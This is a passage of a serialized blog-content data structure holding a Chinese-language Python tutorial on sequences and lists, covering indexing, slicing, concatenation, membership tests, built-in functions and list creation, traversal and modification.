'鸾'}\n",{"type":18,"tag":297,"props":96397,"children":96398},{"class":299,"line":4616},[96399],{"type":18,"tag":297,"props":96400,"children":96401},{},[96402],{"type":24,"value":90755},{"type":18,"tag":651,"props":96404,"children":96405},{},[96406],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":96408},[96409,96410],{"id":94795,"depth":662,"text":94798},{"id":95877,"depth":662,"text":95880},"content:blog:2025-07-05-python-字典和集合.md","blog\u002F2025-07-05-python-字典和集合.md","blog\u002F2025-07-05-python-字典和集合",{"_path":96415,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":96416,"description":96417,"date":96418,"tags":96419,"body":96420,"_type":672,"_id":98940,"_source":674,"_file":98941,"_stem":98942,"_extension":677},"\u002Fblog\u002F2025-07-04-python-yuan","Python-元组和列表","Python元组与列表详解：创建、索引、切片、常用方法与使用场景对比。","2025-07-04",[28616,75509],{"type":15,"children":96421,"toc":98935},[96422,96425,96430,96449,96455,96478,96502,96508,96520,96534,96595,96624,96630,96635,96682,96690,96696,96701,96732,96740,96758,96789,96797,96934,96940,96957,96962,96979,96993,97003,97034,97060,97091,97109,97117,97122,97133,97147,97152,97175,97183,97188,97219,97224,97234,97257,97266,97289,97295,97313,97336,97368,97391,97411,97434,97444,97482,97513,97559,97571,97594,97599,97646,97669,97693,97716,97728,97882,97920,97950,97966,97971,97976,98003,98022,98075,98083,98109,98176,98181,98186,98209,98214,98237,98242,98265,98271,98283,98291,98296,98313,98344,98349,98426,98436,98459,98482,98513,98530,98538,98543,98554,98568,98573,98596,98604,98609,98640,98645,98654,98676,98684,98706,98711,98716,98739,98744,98775,98780,98793,98848,98856,98865,98931],{"type":18,"tag":121,"props":96423,"children":96424},{},[],{"type":18,"tag":27,"props":96426,"children":96428},{"id":96427},"序列概述",[96429],{"type":24,"value":96427},{"type":18,"tag":34,"props":96431,"children":96432},{},[96433,96435,96440,96442,96447],{"type":24,"value":96434},"序列是一块用于",{"type":18,"tag":105,"props":96436,"children":96437},{},[96438],{"type":24,"value":96439},"存储多个值的连续内存空间",{"type":24,"value":96441},"，并且按一定顺序排序，每个元素都被分配一个数字，称为",{"type":18,"tag":105,"props":96443,"children":96444},{},[96445],{"type":24,"value":96446},"索引",{"type":24,"value":96448},"或位置。序列结构主要有：列表、元组、集合、字典和字符串，其中集合和字典不支持索引、切片、相加和相乘操作",{"type":18,"tag":337,"props":96450,"children":96452},{"id":96451},"索引index",[96453],{"type":24,"value":96454},"索引（index）",{"type":18,"tag":34,"props":96456,"children":96457},{},[96458,96460,96464,96466,96471,96473],{"type":24,"value":96459},"每个元素都有一个编号，称为",{"type":18,"tag":105,"props":96461,"children":96462},{},[96463],{"type":24,"value":96446},{"type":24,"value":96465},"，索引是从",{"type":18,"tag":2577,"props":96467,"children":96468},{"color":2579},[96469],{"type":24,"value":96470},"0开始",{"type":24,"value":96472},"编号的，即下标为0表示第一个元素，而下标为1表示第二个元素，以此类推，",{"type":18,"tag":2577,"props":96474,"children":96475},{"color":2579},[96476],{"type":24,"value":96477},"第n个元素的下标为n-1",{"type":18,"tag":34,"props":96479,"children":96480},{},[96481,96483,96488,96490,96495,96497],{"type":24,"value":96482},"索引可以为负数，当",{"type":18,"tag":105,"props":96484,"children":96485},{},[96486],{"type":24,"value":96487},"下标为负数时表示从右往左计数",{"type":24,"value":96489},"，它将从-1开始编号。即",{"type":18,"tag":105,"props":96491,"children":96492},{},[96493],{"type":24,"value":96494},"最后一个元素索引为-1",{"type":24,"value":96496},"，而倒数第二个元素索引为-2，以此类推，",{"type":18,"tag":2577,"props":96498,"children":96499},{"color":2579},[96500],{"type":24,"value":96501},"倒数第n个元素索引为-n",{"type":18,"tag":337,"props":96503,"children":96505},{"id":96504},"切片slice",[96506],{"type":24,"value":96507},"切片（slice）",{"type":18,"tag":34,"props":96509,"children":96510},{},[96511,96513,96518],{"type":24,"value":96512},"切片操作是访问序列中元素的另一种方法，它可以",{"type":18,"tag":105,"props":96514,"children":96515},{},[96516],{"type":24,"value":96517},"访问一定范围的元素",{"type":24,"value":96519},"，切片操作可以生成一个新的序列，实现切片的语法如下：",{"type":18,"tag":287,"props":96521,"children":96523},{"className":28710,"code":96522,"language":28712,"meta":8,"style":8},"sname[start : end : step]\n",[96524],{"type":18,"tag":74,"props":96525,"children":96526},{"__ignoreMap":8},[96527],{"type":18,"tag":297,"props":96528,"children":96529},{"class":299,"line":300},[96530],{"type":18,"tag":297,"props":96531,"children":96532},{},[96533],{"type":24,"value":96522},{"type":18,"tag":210,"props":96535,"children":96536},{},[96537,96552,96567,96582],{"type":18,"tag":158,"props":96538,"children":96539},{},[96540,96545,96547],{"type":18,"tag":105,"props":96541,"children":96542},{},[96543],{"type":24,"value":96544},"sname",{"type":24,"value":96546},"：表示",{"type":18,"tag":105,"props":96548,"children":96549},{},[96550],{"type":24,"value":96551},"序列名称",{"type":18,"tag":158,"props":96553,"children":96554},{},[96555,96559,96560,96565],{"type":18,"tag":105,"props":96556,"children":96557},{},[96558],{"type":24,"value":93649},{"type":24,"value":93672},{"type":18,"tag":105,"props":96561,"children":96562},{},[96563],{"type":24,"value":96564},"开始位置",{"type":24,"value":96566},"（包含此位置），若省略，默认为0",{"type":18,"tag":158,"props":96568,"children":96569},{},[96570,96574,96575,96580],{"type":18,"tag":105,"props":96571,"children":96572},{},[96573],{"type":24,"value":37816},{"type":24,"value":93672},{"type":18,"tag":105,"props":96576,"children":96577},{},[96578],{"type":24,"value":96579},"截止位置",{"type":24,"value":96581},"(不包含此位置)，若省略，默认为序列的长度",{"type":18,"tag":158,"props":96583,"children":96584},{},[96585,96589,96590,96594],{"type":18,"tag":105,"props":96586,"children":96587},{},[96588],{"type":24,"value":93670},{"type":24,"value":93672},{"type":18,"tag":105,"props":96591,"children":96592},{},[96593],{"type":24,"value":93677},{"type":24,"value":93679},{"type":18,"tag":96,"props":96596,"children":96597},{},[96598],{"type":18,"tag":34,"props":96599,"children":96600},{},[96601,96603,96608,96609,96614,96616,96622],{"type":24,"value":96602},"若想复制整个序列，则可以将",{"type":18,"tag":74,"props":96604,"children":96606},{"className":96605},[],[96607],{"type":24,"value":93649},{"type":24,"value":10315},{"type":18,"tag":74,"props":96610,"children":96612},{"className":96611},[],[96613],{"type":24,"value":37816},{"type":24,"value":96615},"的参数省略，只保留中间的冒号。如 ",{"type":18,"tag":74,"props":96617,"children":96619},{"className":96618},[],[96620],{"type":24,"value":96621},"lis[:]",{"type":24,"value":96623}," 表示复制整个名称为lis的序列。",{"type":18,"tag":337,"props":96625,"children":96627},{"id":96626},"序列相加addition",[96628],{"type":24,"value":96629},"序列相加（addition）",{"type":18,"tag":34,"props":96631,"children":96632},{},[96633],{"type":24,"value":96634},"Python支持多个同类型的序列进行加法运算。即将各个相同类型的序列进行连接，而不会去除重复元素（去重），例如：",{"type":18,"tag":287,"props":96636,"children":96638},{"className":28710,"code":96637,"language":28712,"meta":8,"style":8},"a = [1,2,3,4,5]\nb = [3,4,5,6,7]\nc = a + b\nprint(c)\n'''运行结果为：[1,2,3,4,5,3,4,5,6,7]'''\n",[96639],{"type":18,"tag":74,"props":96640,"children":96641},{"__ignoreMap":8},[96642,96650,96658,96666,96674],{"type":18,"tag":297,"props":96643,"children":96644},{"class":299,"line":300},[96645],{"type":18,"tag":297,"props":96646,"children":96647},{},[96648],{"type":24,"value":96649},"a = [1,2,3,4,5]\n",{"type":18,"tag":297,"props":96651,"children":96652},{"class":299,"line":657},[96653],{"type":18,"tag":297,"props":96654,"children":96655},{},[96656],{"type":24,"value":96657},"b = [3,4,5,6,7]\n",{"type":18,"tag":297,"props":96659,"children":96660},{"class":299,"line":662},[96661],{"type":18,"tag":297,"props":96662,"children":96663},{},[96664],{"type":24,"value":96665},"c = a + b\n",{"type":18,"tag":297,"props":96667,"children":96668},{"class":299,"line":799},[96669],{"type":18,"tag":297,"props":96670,"children":96671},{},[96672],{"type":24,"value":96673},"print(c)\n",{"type":18,"tag":297,"props":96675,"children":96676},{"class":299,"line":808},[96677],{"type":18,"tag":297,"props":96678,"children":96679},{},[96680],{"type":24,"value":96681},"'''运行结果为：[1,2,3,4,5,3,4,5,6,7]'''\n",{"type":18,"tag":96,"props":96683,"children":96684},{},[96685],{"type":18,"tag":34,"props":96686,"children":96687},{},[96688],{"type":24,"value":96689},"同类型的序列只需序列类型相同即可，与元素类型无关",{"type":18,"tag":337,"props":96691,"children":96693},{"id":96692},"乘法multiplication",[96694],{"type":24,"value":96695},"乘法（multiplication）",{"type":18,"tag":34,"props":96697,"children":96698},{},[96699],{"type":24,"value":96700},"数字n乘以一个序列会生成一个新的序列，新序列的内容为原来序列被重复n次的结果。例如：",{"type":18,"tag":287,"props":96702,"children":96704},{"className":28710,"code":96703,"language":28712,"meta":8,"style":8},"lis = [\"Hello\",\"World\"]\nprint(lis * 3)\n'''输出结果为：[\"Hello\",\"World\",\"Hello\",\"World\",\"Hello\",\"World\"]'''\n",[96705],{"type":18,"tag":74,"props":96706,"children":96707},{"__ignoreMap":8},[96708,96716,96724],{"type":18,"tag":297,"props":96709,"children":96710},{"class":299,"line":300},[96711],{"type":18,"tag":297,"props":96712,"children":96713},{},[96714],{"type":24,"value":96715},"lis = [\"Hello\",\"World\"]\n",{"type":18,"tag":297,"props":96717,"children":96718},{"class":299,"line":657},[96719],{"type":18,"tag":297,"props":96720,"children":96721},{},[96722],{"type":24,"value":96723},"print(lis * 3)\n",{"type":18,"tag":297,"props":96725,"children":96726},{"class":299,"line":662},[96727],{"type":18,"tag":297,"props":96728,"children":96729},{},[96730],{"type":24,"value":96731},"'''输出结果为：[\"Hello\",\"World\",\"Hello\",\"World\",\"Hello\",\"World\"]'''\n",{"type":18,"tag":34,"props":96733,"children":96734},{},[96735],{"type":18,"tag":105,"props":96736,"children":96737},{},[96738],{"type":24,"value":96739},"检查某个元素是否是序列的成员（元素）",{"type":18,"tag":34,"props":96741,"children":96742},{},[96743,96744,96749,96751,96756],{"type":24,"value":35582},{"type":18,"tag":2577,"props":96745,"children":96746},{"color":2579},[96747],{"type":24,"value":96748}," in ",{"type":24,"value":96750},"关键字检查某个元素是否是序列成员，也可以使用",{"type":18,"tag":2577,"props":96752,"children":96753},{"color":2579},[96754],{"type":24,"value":96755}," not in ",{"type":24,"value":96757},"关键字实现检查某个元素是否未被包含在指定序列中。示例如下：",{"type":18,"tag":287,"props":96759,"children":96761},{"className":28710,"code":96760,"language":28712,"meta":8,"style":8},"lis = [\"小明\",\"小兰\",\"小刘\"]\nprint(\"小张\" in lis)          # 输出为 False\nprint(\"小张\" not in lis)      # 输出为 True\n",[96762],{"type":18,"tag":74,"props":96763,"children":96764},{"__ignoreMap":8},[96765,96773,96781],{"type":18,"tag":297,"props":96766,"children":96767},{"class":299,"line":300},[96768],{"type":18,"tag":297,"props":96769,"children":96770},{},[96771],{"type":24,"value":96772},"lis = [\"小明\",\"小兰\",\"小刘\"]\n",{"type":18,"tag":297,"props":96774,"children":96775},{"class":299,"line":657},[96776],{"type":18,"tag":297,"props":96777,"children":96778},{},[96779],{"type":24,"value":96780},"print(\"小张\" in lis)          # 输出为 False\n",{"type":18,"tag":297,"props":96782,"children":96783},{"class":299,"line":662},[96784],{"type":18,"tag":297,"props":96785,"children":96786},{},[96787],{"type":24,"value":96788},"print(\"小张\" not in lis)      # 输出为 True\n",{"type":18,"tag":34,"props":96790,"children":96791},{},[96792],{"type":18,"tag":105,"props":96793,"children":96794},{},[96795],{"type":24,"value":96796},"序列常见的内置函数",{"type":18,"tag":431,"props":96798,"children":96799},{},[96800,96814],{"type":18,"tag":435,"props":96801,"children":96802},{},[96803],{"type":18,"tag":439,"props":96804,"children":96805},{},[96806,96810],{"type":18,"tag":443,"props":96807,"children":96808},{"align":3465},[96809],{"type":24,"value":81408},{"type":18,"tag":443,"props":96811,"children":96812},{"align":3465},[96813],{"type":24,"value":843},{"type":18,"tag":459,"props":96815,"children":96816},{},[96817,96830,96843,96856,96869,96882,96895,96908,96921],{"type":18,"tag":439,"props":96818,"children":96819},{},[96820,96825],{"type":18,"tag":466,"props":96821,"children":96822},{"align":3465},[96823],{"type":24,"value":96824},"len(序列名)",{"type":18,"tag":466,"props":96826,"children":96827},{"align":3465},[96828],{"type":24,"value":96829},"计算序列的长度",{"type":18,"tag":439,"props":96831,"children":96832},{},[96833,96838],{"type":18,"tag":466,"props":96834,"children":96835},{"align":3465},[96836],{"type":24,"value":96837},"max(序列名)",{"type":18,"tag":466,"props":96839,"children":96840},{"align":3465},[96841],{"type":24,"value":96842},"计算序列中的最大元素",{"type":18,"tag":439,"props":96844,"children":96845},{},[96846,96851],{"type":18,"tag":466,"props":96847,"children":96848},{"align":3465},[96849],{"type":24,"value":96850},"min(序列名)",{"type":18,"tag":466,"props":96852,"children":96853},{"align":3465},[96854],{"type":24,"value":96855},"计算序列中的最小元素",{"type":18,"tag":439,"props":96857,"children":96858},{},[96859,96864],{"type":18,"tag":466,"props":96860,"children":96861},{"align":3465},[96862],{"type":24,"value":96863},"list(序列名)",{"type":18,"tag":466,"props":96865,"children":96866},{"align":3465},[96867],{"type":24,"value":96868},"将序列转换为列表",{"type":18,"tag":439,"props":96870,"children":96871},{},[96872,96877],{"type":18,"tag":466,"props":96873,"children":96874},{"align":3465},[96875],{"type":24,"value":96876},"str(序列名)",{"type":18,"tag":466,"props":96878,"children":96879},{"align":3465},[96880],{"type":24,"value":96881},"将序列转换为字符串",{"type":18,"tag":439,"props":96883,"children":96884},{},[96885,96890],{"type":18,"tag":466,"props":96886,"children":96887},{"align":3465},[96888],{"type":24,"value":96889},"sum(序列名)",{"type":18,"tag":466,"props":96891,"children":96892},{"align":3465},[96893],{"type":24,"value":96894},"计算元素和",{"type":18,"tag":439,"props":96896,"children":96897},{},[96898,96903],{"type":18,"tag":466,"props":96899,"children":96900},{"align":3465},[96901],{"type":24,"value":96902},"sorted(序列名)",{"type":18,"tag":466,"props":96904,"children":96905},{"align":3465},[96906],{"type":24,"value":96907},"对元素进行排序",{"type":18,"tag":439,"props":96909,"children":96910},{},[96911,96916],{"type":18,"tag":466,"props":96912,"children":96913},{"align":3465},[96914],{"type":24,"value":96915},"reversed(序列名)",{"type":18,"tag":466,"props":96917,"children":96918},{"align":3465},[96919],{"type":24,"value":96920},"反向序列中的元素",{"type":18,"tag":439,"props":96922,"children":96923},{},[96924,96929],{"type":18,"tag":466,"props":96925,"children":96926},{"align":3465},[96927],{"type":24,"value":96928},"enumerate(序列名)",{"type":18,"tag":466,"props":96930,"children":96931},{"align":3465},[96932],{"type":24,"value":96933},"将序列组成为一个索引序列，多用在for循环",{"type":18,"tag":27,"props":96935,"children":96937},{"id":96936},"列表list",[96938],{"type":24,"value":96939},"列表（list）",{"type":18,"tag":34,"props":96941,"children":96942},{},[96943,96945,96948,96950,96955],{"type":24,"value":96944},"列表是由一系列按照特定顺序排序的元素组成的。它是可变序列，列表的元素都放在一对“",{"type":18,"tag":297,"props":96946,"children":96947},{},[],{"type":24,"value":96949},"”内，相邻元素之间使用逗号",{"type":18,"tag":74,"props":96951,"children":96953},{"className":96952},[],[96954],{"type":24,"value":17444},{"type":24,"value":96956},"间隔，同一列表中，元素的类型可以不同。",{"type":18,"tag":337,"props":96958,"children":96960},{"id":96959},"创建列表",[96961],{"type":24,"value":96959},{"type":18,"tag":34,"props":96963,"children":96964},{},[96965,96970,96972,96977],{"type":18,"tag":105,"props":96966,"children":96967},{},[96968],{"type":24,"value":96969},"使用赋值运算符直接创建列表",{"type":24,"value":96971},"：使用赋值运算符",{"type":18,"tag":74,"props":96973,"children":96975},{"className":96974},[],[96976],{"type":24,"value":9692},{"type":24,"value":96978},"直接将一个列表赋值给变量，语法格式如下：",{"type":18,"tag":287,"props":96980,"children":96982},{"className":28710,"code":96981,"language":28712,"meta":8,"style":8},"listname = [element_1, element_2, element_3,...,element_n]\n",[96983],{"type":18,"tag":74,"props":96984,"children":96985},{"__ignoreMap":8},[96986],{"type":18,"tag":297,"props":96987,"children":96988},{"class":299,"line":300},[96989],{"type":18,"tag":297,"props":96990,"children":96991},{},[96992],{"type":24,"value":96981},{"type":18,"tag":34,"props":96994,"children":96995},{},[96996,97001],{"type":18,"tag":105,"props":96997,"children":96998},{},[96999],{"type":24,"value":97000},"创建空列表",{"type":24,"value":97002},"：通常有两种方式",{"type":18,"tag":287,"props":97004,"children":97006},{"className":28710,"code":97005,"language":28712,"meta":8,"style":8},"'''创建空列表'''\nlistname_1 = []\nlistname_2 = list()\n",[97007],{"type":18,"tag":74,"props":97008,"children":97009},{"__ignoreMap":8},[97010,97018,97026],{"type":18,"tag":297,"props":97011,"children":97012},{"class":299,"line":300},[97013],{"type":18,"tag":297,"props":97014,"children":97015},{},[97016],{"type":24,"value":97017},"'''创建空列表'''\n",{"type":18,"tag":297,"props":97019,"children":97020},{"class":299,"line":657},[97021],{"type":18,"tag":297,"props":97022,"children":97023},{},[97024],{"type":24,"value":97025},"listname_1 = []\n",{"type":18,"tag":297,"props":97027,"children":97028},{"class":299,"line":662},[97029],{"type":18,"tag":297,"props":97030,"children":97031},{},[97032],{"type":24,"value":97033},"listname_2 = list()\n",{"type":18,"tag":34,"props":97035,"children":97036},{},[97037,97042,97044,97050,97052,97058],{"type":18,"tag":105,"props":97038,"children":97039},{},[97040],{"type":24,"value":97041},"创建数值列表",{"type":24,"value":97043},"：可以使用",{"type":18,"tag":74,"props":97045,"children":97047},{"className":97046},[],[97048],{"type":24,"value":97049},"list",{"type":24,"value":97051},"函数直接将",{"type":18,"tag":74,"props":97053,"children":97055},{"className":97054},[],[97056],{"type":24,"value":97057},"range()",{"type":24,"value":97059},"函数循环出来的结果转为列表。例如：创建一个10-20的所有偶数的列表，代码如下：",{"type":18,"tag":287,"props":97061,"children":97063},{"className":28710,"code":97062,"language":28712,"meta":8,"style":8},"lis = list(range(10,21,2))\nprint(lis)\n'''代码运行结果为：[10, 12, 14, 16, 18, 20]'''\n",[97064],{"type":18,"tag":74,"props":97065,"children":97066},{"__ignoreMap":8},[97067,97075,97083],{"type":18,"tag":297,"props":97068,"children":97069},{"class":299,"line":300},[97070],{"type":18,"tag":297,"props":97071,"children":97072},{},[97073],{"type":24,"value":97074},"lis = list(range(10,21,2))\n",{"type":18,"tag":297,"props":97076,"children":97077},{"class":299,"line":657},[97078],{"type":18,"tag":297,"props":97079,"children":97080},{},[97081],{"type":24,"value":97082},"print(lis)\n",{"type":18,"tag":297,"props":97084,"children":97085},{"class":299,"line":662},[97086],{"type":18,"tag":297,"props":97087,"children":97088},{},[97089],{"type":24,"value":97090},"'''代码运行结果为：[10, 12, 14, 16, 18, 20]'''\n",{"type":18,"tag":34,"props":97092,"children":97093},{},[97094,97099,97101,97107],{"type":18,"tag":105,"props":97095,"children":97096},{},[97097],{"type":24,"value":97098},"删除列表",{"type":24,"value":97100},"：可以使用语句",{"type":18,"tag":74,"props":97102,"children":97104},{"className":97103},[],[97105],{"type":24,"value":97106},"del listname",{"type":24,"value":97108},"删除列表。",{"type":18,"tag":96,"props":97110,"children":97111},{},[97112],{"type":18,"tag":34,"props":97113,"children":97114},{},[97115],{"type":24,"value":97116},"Python自带垃圾回收机制，会自动销毁不用的列表，所以即使不用del删除，它也会自动回收它们",{"type":18,"tag":337,"props":97118,"children":97120},{"id":97119},"访问列表元素",[97121],{"type":24,"value":97119},{"type":18,"tag":34,"props":97123,"children":97124},{},[97125,97127,97132],{"type":24,"value":97126},"若要输出列表的内容，直接使用",{"type":18,"tag":74,"props":97128,"children":97130},{"className":97129},[],[97131],{"type":24,"value":34598},{"type":24,"value":81408},{"type":18,"tag":287,"props":97134,"children":97136},{"className":28710,"code":97135,"language":28712,"meta":8,"style":8},"print(listname)   # listname 为列表名\n",[97137],{"type":18,"tag":74,"props":97138,"children":97139},{"__ignoreMap":8},[97140],{"type":18,"tag":297,"props":97141,"children":97142},{"class":299,"line":300},[97143],{"type":18,"tag":297,"props":97144,"children":97145},{},[97146],{"type":24,"value":97135},{"type":18,"tag":34,"props":97148,"children":97149},{},[97150],{"type":24,"value":97151},"也可以通过列表的索引获取指定的元素，例如：",{"type":18,"tag":287,"props":97153,"children":97155},{"className":28710,"code":97154,"language":28712,"meta":8,"style":8},"lis = [10,20,30,40,50]\nprint(lis[3])   # 输出结果为 40\n",[97156],{"type":18,"tag":74,"props":97157,"children":97158},{"__ignoreMap":8},[97159,97167],{"type":18,"tag":297,"props":97160,"children":97161},{"class":299,"line":300},[97162],{"type":18,"tag":297,"props":97163,"children":97164},{},[97165],{"type":24,"value":97166},"lis = [10,20,30,40,50]\n",{"type":18,"tag":297,"props":97168,"children":97169},{"class":299,"line":657},[97170],{"type":18,"tag":297,"props":97171,"children":97172},{},[97173],{"type":24,"value":97174},"print(lis[3])   # 输出结果为 40\n",{"type":18,"tag":96,"props":97176,"children":97177},{},[97178],{"type":18,"tag":34,"props":97179,"children":97180},{},[97181],{"type":24,"value":97182},"在执行输出的结果中可以看出，在输出单个列表元素时不包括中括号，如果是字符串，还不包括引号",{"type":18,"tag":34,"props":97184,"children":97185},{},[97186],{"type":24,"value":97187},"最后还可以通过切片的方式访问列表元素，语法格式及示例如下：",{"type":18,"tag":287,"props":97189,"children":97191},{"className":28710,"code":97190,"language":28712,"meta":8,"style":8},"lis = [1,2,3,4,5,6,7,8,9]\nprint(lis[::-1])         # 输出结果为：[9, 8, 7, 6, 5, 4, 3, 2, 1]\nprint(lis[2:8:2])        # 输出结果为：[3, 5, 7]\n",[97192],{"type":18,"tag":74,"props":97193,"children":97194},{"__ignoreMap":8},[97195,97203,97211],{"type":18,"tag":297,"props":97196,"children":97197},{"class":299,"line":300},[97198],{"type":18,"tag":297,"props":97199,"children":97200},{},[97201],{"type":24,"value":97202},"lis = [1,2,3,4,5,6,7,8,9]\n",{"type":18,"tag":297,"props":97204,"children":97205},{"class":299,"line":657},[97206],{"type":18,"tag":297,"props":97207,"children":97208},{},[97209],{"type":24,"value":97210},"print(lis[::-1])         # 输出结果为：[9, 8, 7, 6, 5, 4, 3, 2, 1]\n",{"type":18,"tag":297,"props":97212,"children":97213},{"class":299,"line":662},[97214],{"type":18,"tag":297,"props":97215,"children":97216},{},[97217],{"type":24,"value":97218},"print(lis[2:8:2])        # 输出结果为：[3, 5, 7]\n",{"type":18,"tag":337,"props":97220,"children":97222},{"id":97221},"遍历列表",[97223],{"type":24,"value":97221},{"type":18,"tag":34,"props":97225,"children":97226},{},[97227,97232],{"type":18,"tag":105,"props":97228,"children":97229},{},[97230],{"type":24,"value":97231},"直接使用for循环实现遍历列表",{"type":24,"value":97233},"，只能输出元素的值。例如：",{"type":18,"tag":287,"props":97235,"children":97237},{"className":28710,"code":97236,"language":28712,"meta":8,"style":8},"for item in listname:\n    print(item)\n",[97238],{"type":18,"tag":74,"props":97239,"children":97240},{"__ignoreMap":8},[97241,97249],{"type":18,"tag":297,"props":97242,"children":97243},{"class":299,"line":300},[97244],{"type":18,"tag":297,"props":97245,"children":97246},{},[97247],{"type":24,"value":97248},"for item in listname:\n",{"type":18,"tag":297,"props":97250,"children":97251},{"class":299,"line":657},[97252],{"type":18,"tag":297,"props":97253,"children":97254},{},[97255],{"type":24,"value":97256},"    print(item)\n",{"type":18,"tag":34,"props":97258,"children":97259},{},[97260,97265],{"type":18,"tag":105,"props":97261,"children":97262},{},[97263],{"type":24,"value":97264},"使用for循环和enumerate()函数实现同时输出索引值和元素内容",{"type":24,"value":93112},{"type":18,"tag":287,"props":97267,"children":97269},{"className":28710,"code":97268,"language":28712,"meta":8,"style":8},"for index,item in enumerate(listname):\n    print(index,item)\n",[97270],{"type":18,"tag":74,"props":97271,"children":97272},{"__ignoreMap":8},[97273,97281],{"type":18,"tag":297,"props":97274,"children":97275},{"class":299,"line":300},[97276],{"type":18,"tag":297,"props":97277,"children":97278},{},[97279],{"type":24,"value":97280},"for index,item in enumerate(listname):\n",{"type":18,"tag":297,"props":97282,"children":97283},{"class":299,"line":657},[97284],{"type":18,"tag":297,"props":97285,"children":97286},{},[97287],{"type":24,"value":97288},"    print(index,item)\n",{"type":18,"tag":337,"props":97290,"children":97292},{"id":97291},"添加修改和删除列表元素",[97293],{"type":24,"value":97294},"添加、修改和删除列表元素",{"type":18,"tag":34,"props":97296,"children":97297},{},[97298,97303,97305,97311],{"type":18,"tag":105,"props":97299,"children":97300},{},[97301],{"type":24,"value":97302},"添加元素",{"type":24,"value":97304},"：通过“+”将两个序列进行拼接，执行速度要比直接使用列表对象的",{"type":18,"tag":74,"props":97306,"children":97308},{"className":97307},[],[97309],{"type":24,"value":97310},"append()",{"type":24,"value":97312},"方法慢。语法格式如下：",{"type":18,"tag":287,"props":97314,"children":97316},{"className":28710,"code":97315,"language":28712,"meta":8,"style":8},"'''列表对象.append(对象)'''\nlistname.append(obj)\n",[97317],{"type":18,"tag":74,"props":97318,"children":97319},{"__ignoreMap":8},[97320,97328],{"type":18,"tag":297,"props":97321,"children":97322},{"class":299,"line":300},[97323],{"type":18,"tag":297,"props":97324,"children":97325},{},[97326],{"type":24,"value":97327},"'''列表对象.append(对象)'''\n",{"type":18,"tag":297,"props":97329,"children":97330},{"class":299,"line":657},[97331],{"type":18,"tag":297,"props":97332,"children":97333},{},[97334],{"type":24,"value":97335},"listname.append(obj)\n",{"type":18,"tag":34,"props":97337,"children":97338},{},[97339,97340,97346,97348,97353,97355,97360,97362,97367],{"type":24,"value":85460},{"type":18,"tag":74,"props":97341,"children":97343},{"className":97342},[],[97344],{"type":24,"value":97345},"insert()",{"type":24,"value":97347},"方法向列表中指定位置添加元素，但是",{"type":18,"tag":74,"props":97349,"children":97351},{"className":97350},[],[97352],{"type":24,"value":97345},{"type":24,"value":97354},"方法效率没有",{"type":18,"tag":74,"props":97356,"children":97358},{"className":97357},[],[97359],{"type":24,"value":97310},{"type":24,"value":97361},"方法高。其",{"type":18,"tag":74,"props":97363,"children":97365},{"className":97364},[],[97366],{"type":24,"value":97345},{"type":24,"value":88325},{"type":18,"tag":287,"props":97369,"children":97371},{"className":28710,"code":97370,"language":28712,"meta":8,"style":8},"'''列表对象.insert(索引位置,元素)'''\nlistname.insert(index,obj)\n",[97372],{"type":18,"tag":74,"props":97373,"children":97374},{"__ignoreMap":8},[97375,97383],{"type":18,"tag":297,"props":97376,"children":97377},{"class":299,"line":300},[97378],{"type":18,"tag":297,"props":97379,"children":97380},{},[97381],{"type":24,"value":97382},"'''列表对象.insert(索引位置,元素)'''\n",{"type":18,"tag":297,"props":97384,"children":97385},{"class":299,"line":657},[97386],{"type":18,"tag":297,"props":97387,"children":97388},{},[97389],{"type":24,"value":97390},"listname.insert(index,obj)\n",{"type":18,"tag":34,"props":97392,"children":97393},{},[97394,97396,97402,97404,97409],{"type":24,"value":97395},"若要将一个列表的所有元素添加到另一个列表中，可以使用",{"type":18,"tag":74,"props":97397,"children":97399},{"className":97398},[],[97400],{"type":24,"value":97401},"extend()",{"type":24,"value":97403},"方法实现，",{"type":18,"tag":74,"props":97405,"children":97407},{"className":97406},[],[97408],{"type":24,"value":97401},{"type":24,"value":97410},"的语法格式如下：",{"type":18,"tag":287,"props":97412,"children":97414},{"className":28710,"code":97413,"language":28712,"meta":8,"style":8},"'''列表对象1.extend(列表对象2)'''\nlistname_1.extend(listname_2)\n",[97415],{"type":18,"tag":74,"props":97416,"children":97417},{"__ignoreMap":8},[97418,97426],{"type":18,"tag":297,"props":97419,"children":97420},{"class":299,"line":300},[97421],{"type":18,"tag":297,"props":97422,"children":97423},{},[97424],{"type":24,"value":97425},"'''列表对象1.extend(列表对象2)'''\n",{"type":18,"tag":297,"props":97427,"children":97428},{"class":299,"line":657},[97429],{"type":18,"tag":297,"props":97430,"children":97431},{},[97432],{"type":24,"value":97433},"listname_1.extend(listname_2)\n",{"type":18,"tag":34,"props":97435,"children":97436},{},[97437,97442],{"type":18,"tag":105,"props":97438,"children":97439},{},[97440],{"type":24,"value":97441},"修改元素",{"type":24,"value":97443},"：可以通过索引获取元素，再对该元素进行重新赋值即可。如下示例：",{"type":18,"tag":287,"props":97445,"children":97447},{"className":28710,"code":97446,"language":28712,"meta":8,"style":8},"'''列表对象[索引] = 修改元素'''\nlis = [1,2,3,4,5]\nlis[2] = -3\nprint(lis)          # 输出结果为：[1,2,-3,4,5]\n",[97448],{"type":18,"tag":74,"props":97449,"children":97450},{"__ignoreMap":8},[97451,97459,97466,97474],{"type":18,"tag":297,"props":97452,"children":97453},{"class":299,"line":300},[97454],{"type":18,"tag":297,"props":97455,"children":97456},{},[97457],{"type":24,"value":97458},"'''列表对象[索引] = 修改元素'''\n",{"type":18,"tag":297,"props":97460,"children":97461},{"class":299,"line":657},[97462],{"type":18,"tag":297,"props":97463,"children":97464},{},[97465],{"type":24,"value":92439},{"type":18,"tag":297,"props":97467,"children":97468},{"class":299,"line":662},[97469],{"type":18,"tag":297,"props":97470,"children":97471},{},[97472],{"type":24,"value":97473},"lis[2] = -3\n",{"type":18,"tag":297,"props":97475,"children":97476},{"class":299,"line":799},[97477],{"type":18,"tag":297,"props":97478,"children":97479},{},[97480],{"type":24,"value":97481},"print(lis)          # 